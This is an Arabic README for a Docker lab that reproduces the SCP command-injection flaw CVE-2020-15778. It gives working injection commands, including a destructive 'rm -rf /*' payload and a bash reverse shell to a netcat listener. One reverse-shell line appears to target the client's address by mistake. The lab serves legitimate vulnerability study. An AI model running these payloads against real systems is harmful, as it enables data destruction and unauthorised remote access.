
# استنساخ ثغرة CVE-2020-15778 لاستغلال حقن أوامر SCP مع إعداد خادم-عميل قائم على Docker لاختبار تنفيذ الأكواد عن بُعد وحمولات الصدفة العكسية.
يستنسخ هذا المستودع CVE-2020-15778.
cd client
docker build -t client-cve .
cd server
docker build -t server-cve .
docker run -d -P --name scp-server server-cve
استرجع عنوان IP الداخلي لخادم scp عن طريق
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-server
docker run --name scp-client -i -t client-cve
في طرفية العميل، نفّذ
scp nil.txt root@<internal IP of scp server>:'`your command`/tmp'
كلمة المرور هي "PASSWORD".
فيما يلي بعض الأمثلة على هذا الاستغلال.
scp nil.txt root@<internal IP of scp server>:'`rm -rf /*`/tmp'
استمع إلى منفذ على جهاز العميل.
nc -lvvp 8080
استخدم scp لإجبار الخادم على توجيه bash التفاعلي إلى جهاز العميل.
scp nil.txt root@<internal IP of scp client>:'`bash -i >& /dev/tcp/<internal IP of scp client>/8080 0>& 1`/tmp'
يمكن استرجاع عنوان IP الخاص بالعميل عن طريق
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-client